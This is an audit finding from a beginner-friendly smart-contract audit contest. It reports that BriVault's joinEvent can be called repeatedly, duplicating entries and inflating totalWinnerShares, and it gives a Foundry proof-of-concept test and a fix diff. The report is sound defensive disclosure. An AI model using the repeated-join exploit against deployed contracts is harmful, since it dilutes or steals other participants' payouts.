BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Multiple Calls to joinEvent Cause Duplicates and Overcounting in totalWinnerShares

diana

Root + Impact

Description

  • A user should call joinEvent(countryId) once after depositing, to register their full vault shares (balanceOf(msg.sender)) to a single country. The contract should prevent duplicate entries and ensure totalWinnerShares accurately reflects the sum of shares from users who selected the winning country.

  • The joinEvent function allows unlimited repeated calls by the same user. Each call:

    • Pushes msg.sender to usersAddress (creating duplicates),

    • Increments numberOfParticipants and totalParticipantShares,

    • Updates userSharesToCountry[msg.sender][countryId] (overwriting or accumulating per country).

    When _getWinnerShares() loops over usersAddress, duplicate entries cause the same user's shares to be counted multiple times if any of their selected countries win.

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// ... country validation ...
​
userToCountry[msg.sender] = teams[countryId]; // @> Overwrites last choice
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares; // @> Accumulates per country
​
usersAddress.push(msg.sender); // @> BUG: Allows duplicates
numberOfParticipants++;
totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // @> Sums duplicates
}
return totalWinnerShares;
}

Risk

Likelihood:

  • Users may accidentally or intentionally call joinEvent multiple times (e.g., UI bug, retry logic, or griefing).

  • Nothing in the contract prevents re-joining. There is no duplicate check.

Impact:

  • If a user joins the winning country multiple times, their shares are counted multiple times in totalWinnerShares, diluting payouts for all other winners.

  • A malicious user can call joinEvent(winningCountry) 1000 times to inflate totalWinnerShares, reducing everyone’s payout to near zero.

Proof of Concept

Two users deposit 1 ETH each and join country 0; user1 then calls joinEvent(0) 9 more times, pushing 10 duplicate entries into usersAddress. When country 0 wins, _getWinnerShares() sums user1’s shares 10×, inflating totalWinnerShares to 11× the real value and enabling payout theft.

function test_joinEvent_multipleCalls_inflatesTotalWinnerShares() public {
// -----------------------------------------------------------------
// 1. Set countries (required before joinEvent)
// -----------------------------------------------------------------
vm.prank(owner);
briVault.setCountry(countries);
​
// -----------------------------------------------------------------
// 2. Two users deposit 1 ETH each (1.5% fee → 0.985 ETH staked)
// -----------------------------------------------------------------
uint256 depositAmt = 1 ether;
uint256 fee = (depositAmt * 150) / 10_000; // 0.015 ETH
uint256 stake = depositAmt - fee; // 0.985 ETH = 985000000000000000
​
vm.startPrank(user1);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(depositAmt, user1);
vm.stopPrank();
​
vm.startPrank(user2);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(depositAmt, user2);
vm.stopPrank();
​
// -----------------------------------------------------------------
// 3. Both join country 0 once
// -----------------------------------------------------------------
vm.prank(user1);
briVault.joinEvent(0);
​
vm.prank(user2);
briVault.joinEvent(0);
​
// -----------------------------------------------------------------
// 4. EXPLOIT – user1 calls joinEvent 9 more times (total 10)
// -----------------------------------------------------------------
vm.startPrank(user1);
for (uint i = 0; i < 9; i++) {
briVault.joinEvent(0);
}
vm.stopPrank();
​
// -----------------------------------------------------------------
// 5. End the event & set the winner (country 0)
// -----------------------------------------------------------------
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(0); // calls _getWinnerShares() internally
​
// -----------------------------------------------------------------
// 6. ASSERT – totalWinnerShares is inflated
// -----------------------------------------------------------------
// Real shares in the vault: 2 * 0.985 ETH = 1.97 ETH
// But because user1 appears 10 times in usersAddress,
// _getWinnerShares() adds user1's shares 10× → 10 * 0.985 + 0.985 = 11 * 0.985
uint256 expectedInflated = stake * 11; // 10× user1 + 1× user2
assertEq(
briVault.totalWinnerShares(),
expectedInflated,
"totalWinnerShares must be inflated by duplicate joinEvent calls"
);
​
// -----------------------------------------------------------------
// 7. (optional) sanity check – numberOfParticipants is also wrong
// -----------------------------------------------------------------
assertEq(briVault.numberOfParticipants(), 11);
}

Recommended Mitigation

Add a mapping(address => bool) public hasJoined and revert if hasJoined[msg.sender] is true, ensuring each user can call joinEvent only once. This prevents duplicates in usersAddress, keeps totalWinnerShares accurate, and guarantees fair, proportional payouts to winners.

+ mapping(address => bool) public hasJoined;
​
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) revert noDeposit();
if (countryId >= teams.length) revert invalidCountry();
+ if (hasJoined[msg.sender]) revert AlreadyJoined();
​
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
- usersAddress.push(msg.sender);
+ usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
​
+ hasJoined[msg.sender] = true;
​
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!